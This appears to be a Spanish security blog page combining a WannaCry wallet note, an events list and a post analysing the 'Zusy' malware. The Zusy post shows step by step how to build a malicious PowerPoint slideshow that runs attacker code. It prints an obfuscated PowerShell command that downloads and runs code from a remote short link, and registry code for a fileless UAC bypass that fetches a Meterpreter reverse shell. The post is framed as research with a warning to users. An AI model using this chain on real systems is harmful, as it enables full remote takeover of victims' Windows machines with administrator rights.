Por último, el tema del dinero es bastante pecuiliar. A día de hoy, tal y como vimos al principio, el autor no ha retirado ningún BitCoin de los monederos, pero es que hemos revisado las carteras de la primera versión de WannaCry 1.0 (Sin contar con la "gusanificación" vía EternalBlue), y sigue sin haber retirado ningún bitCoin de ellas.

Figura 10: Billetera BitCoin utilizada en WannaCry 1.0

Es decir, que el creador de estas dos campañas WannaCry 1.0 y WannaCry 2.0 no ha retirado ningún dinero de lo obtenido co el malware. Vamos, que o no tenía ningún interés en ello desde el minuto uno, o se ha arrepentido.

Saludos Malignos!

PD: Más referencias.

- El ataque del ransomware WannaCry
- Telefónica WannaCry File Restorer
- Telefónica WannaCry File Restorer Desktop Version
- Telefónica WannaCry File Restorer en Active Directory
- Latch Antiransonware para luchar contra el ransomware

domingo, junio 18, 2017

Machine Learning aplicado a Network Security, un curso de Hacking, la evolución del Phishing y la EuslkalHack II

Para la semana que viene os traigo las acciones en las que los equipos de LUCA Data-Driven Decisions, ElevenPaths y 0xWord se van a ver involucrados. Esta semana yo personalmente me daré una tregua para hacer trabajo en la oficina base, pero como podéis ver hay cuatro actividades muy chulas.

Figura 1: Actividades para la semana que viene

La primera de ellas, el martes día 20, donde dentro de una nueva LUCA Talk, hablaremos de cómo se pueden utilizar las técnicas de Machine Learning para detectar anomalías de tráfico en la red. La gracia de este trabajo es que si tienes mimo por tus logs, puedes hacer descubrimientos más que interesantes.
El jueves 22 tienes otra cita, en este caso con el equipo de ElevenPaths Talks que van a dedicar una sesión a explicar como han ido evolucionando los ataques de Phishing, Spam-Phishing, Spear Phishing,  e incluso los ataques de SAPPO. Apúntate gratis al seminario.
Ese mismo día da comienzo un nuevo curso online de The Security Sentinel dedicado a las técnicas de Hacking Ético. Una formación de 180 horas en la que los asistentes tendrán como material de apoyo los libros de 0xWord de Pentesting con FOCA y Metasploit para Pentesters 3ª Edición.
Y además de estas tres citas online, una presencial en Donostia, para pasar los días 23 y 24 de Junio en la EuskalHack Security Conference II, donde además de una agenda internacional de impresión como la que tiene esta edición, podrás adquirir los libros de 0xWord allí. Esta es la agenda.

Figura 5: Agenda de EuslkalHack Security Conference II

El plan de pasar un finde en Donostia, un paraíso sobre la tierra, viendo las charlas que hay y disfrutando de un verano un pelín más suave en el País Vasco, pueden ser un planazo para este finde. Toma nota.

Saludos Malignos!

sábado, junio 17, 2017

Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Hace unos días se hacía pública la aparición de un malware denominado “Zusy”, que se introduce en los equipos utilizando como vector de entrada un archivo en formato Microsoft PowerPoint. Una de las peculiaridades de este malware respecto a otros que se han encontrado en el pasado, es que su ejecución no depende de que el usuario active las macros - muy populares hasta hoy -, sino que utiliza una característica propia de PowerPoint que permite la ejecución de programas externos. En este artículo vamos a analizar el método de entrada utilizado por este malware, y las posibles consecuencias que puede tener en el equipo de una víctima.

Figura 1: Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:

Figura 2: Diapositiva de gancho para capturar el movimiento del ratón

Cuando el usuario pasa el ratón por encima del hipervínculo, PowerPoint muestra el siguiente mensaje:

Figura 3: Warning de MS PowerPoint por la ejecución de programas externos

Éste es el punto crítico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecución de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compañero Pablo González.

Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento técnico bastante sencillo. ¡Vamos con ello! En esta sección vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentación en PowerPoint maliciosa, con el mismo comportamiento.

Construyendo tu propio Zusy

Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el ratón por encima del hipervínculo nos aparece un cuadro de dialogo que nos indica que se está intentando ejecutar un programa externo. Si buscamos en la documentación oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentación en PowerPoint, por lo que vamos a añadir una Powershell con la opción de que se lance al pasar el ratón por encima.

Figura 4: Ejecución de Powershell al mover el ratón por encima

Una vez añadido, guardamos nuestra presentación como fichero .ppsx y lo probamos. Cuando pasamos el ratón por encima, podemos ver como aparece el cuadro de dialogo que indicábamos anteriormente sobre la ejecución de programas externos, si lo habilitamos, se abre una consola Powershell.

Figura 5: Código del hipervínculo para ejecutar el programa en slide1.xml

Al analizar el código de los ficheros OOXML, que son en formato XML, podemos ver qué es lo que PowerPoint ha añadido en el código de la "Slide1" para habilitar la ejecución del programa. Como sabéis, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.

Figura 6: En slide1.xml.rels está el target que se va a abrir

En slide1.xml.rels encontramos la ruta del programa que se está ejecutando, vamos a comprobar, si además de ejecutar programas, ejecuta también los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:

Figura 7: Añadir parámetros de ejecución al hipervínculo manualmente

Si abrimos la presentación y pasamos el ratón sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.

Figura 8: Ahora se ejecutaría la calculadora

Una vez tenemos identificado el método principal con el que el malware ejecuta programas a través de un archivo PowerPoint, vamos a ver, a través de una prueba de concepto, porque esto puede ser peligroso para los usuarios.

Prueba de concepto

Con la técnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentación maliciosa en formato PowerPoint:
Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadString(%27https%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27goo.gl%27%2B%5Bchar%5D%200x2F%2B%27r9L7vv%27)"
Que es la representación en formato URLEncode de:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadString('https:'+[char] 0x2F+[char] 0x2F+'dominio'+[char] 0x2F+'recurso')
Este comando lo que hace es ejecutar Powershell, que a su vez hace una petición a una dirección determinada para descargar un archivo y posteriormente ejecutarlo sin llegar a guardarlo en disco. Como podemos ver en la figura anterior, la URL se forma sustituyendo el carácter “/” por “[char] 0x2F”. Esta es una forma de “ofuscar” la dirección, de tal manera que PowerPoint no tome ninguna medida de seguridad y la procese correctamente.  Si se pone la dirección URL sin esto, veremos como no es posible ejecutar la petición.

Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qué fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutará una serie de sentencias similares a las siguientes:
$registryPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
$name = "IsolatedCommand"
$value = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C `"IEX (New-Object Net.WebClient).DownloadString('url_meterpreter)`""
New-ItemProperty -Path $registryPath
` -Name $name `
-Value $value `
-PropertyType ExpandString
` -Force | Out-Null
Este código inserta en el registro de Windows un valor determinado, en este caso una nueva petición para descargar y ejecutar un archivo desde un servidor remoto. Esto lo hacemos para utilizar la técnica de fileless UAC bypass que hemos explicado en artículos anteriores, para elevar privilegios.

Cuando el binario que hace el UAC bypass se ejecute, llamará a Powershell con los argumentos necesarios para que haga una petición al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administración. Tras esto, la máquina del atacante recibirá una conexión reversa desde la de la víctima. Veamos todo el proceso resumido y esquematizado:

Figura 9: Esquema del PoC que se realiza
1. El usuario ejecuta el fichero PowerPoint malicioso. 
2. El fichero PowerPoint ejecuta Powershell con una serie de argumentos que realizan una llamada a un servidor para descargar y ejecutar un fichero sin privilegios de administración. 
3. El fichero descargado y ejecutado, realiza cambios en el registro de la víctima para realizar un UAC bypass, a continuación, ejecuta el binario vulnerable a dicho bypass. 
4. Debido a que la rama del registro ha sido envenenada, el binario ejecutado llama a Powershell con una serie de argumentos que realizan otra petición al servidor y descargan otro fichero para ejecutarlo, ¡esta vez como administrador! 
5. El fichero ejecutado contiene un payload que realiza una conexión reversa a la máquina del atacante. 
6. El atacante tiene acceso completo a la máquina de la víctima con máximos privilegios.
Figura 10: PoC de Cómo obtener una sesión Meterpreter desde un PowerPoint

Como podemos observar, la diferencia entre que tu maquina sea comprometida totalmente y no lo sea, está en pulsar el botón de habilitar en el aviso que te muestra PowerPoint, una aplicación que a priori es bastante confiable. Por eso se debe estar siempre muy atento a la hora de abrir o ejecutar los archivos que nos envíen y leer detenidamente los avisos de seguridad antes de aceptarlos.

Autor: Santiago Hernández Ramos, cybersecurity researcher en ElevenPaths

Entrada destacada

El creador de WannaCry es fan de Messi, no es muy ambicioso y usa Microsoft Word habitualmente en coreano

Esta semana, nuestros compañeros del laboratorio de ElevenPaths terminaban por publicar su análisis de WannaCry desde el punto de vista d...

Entradas populares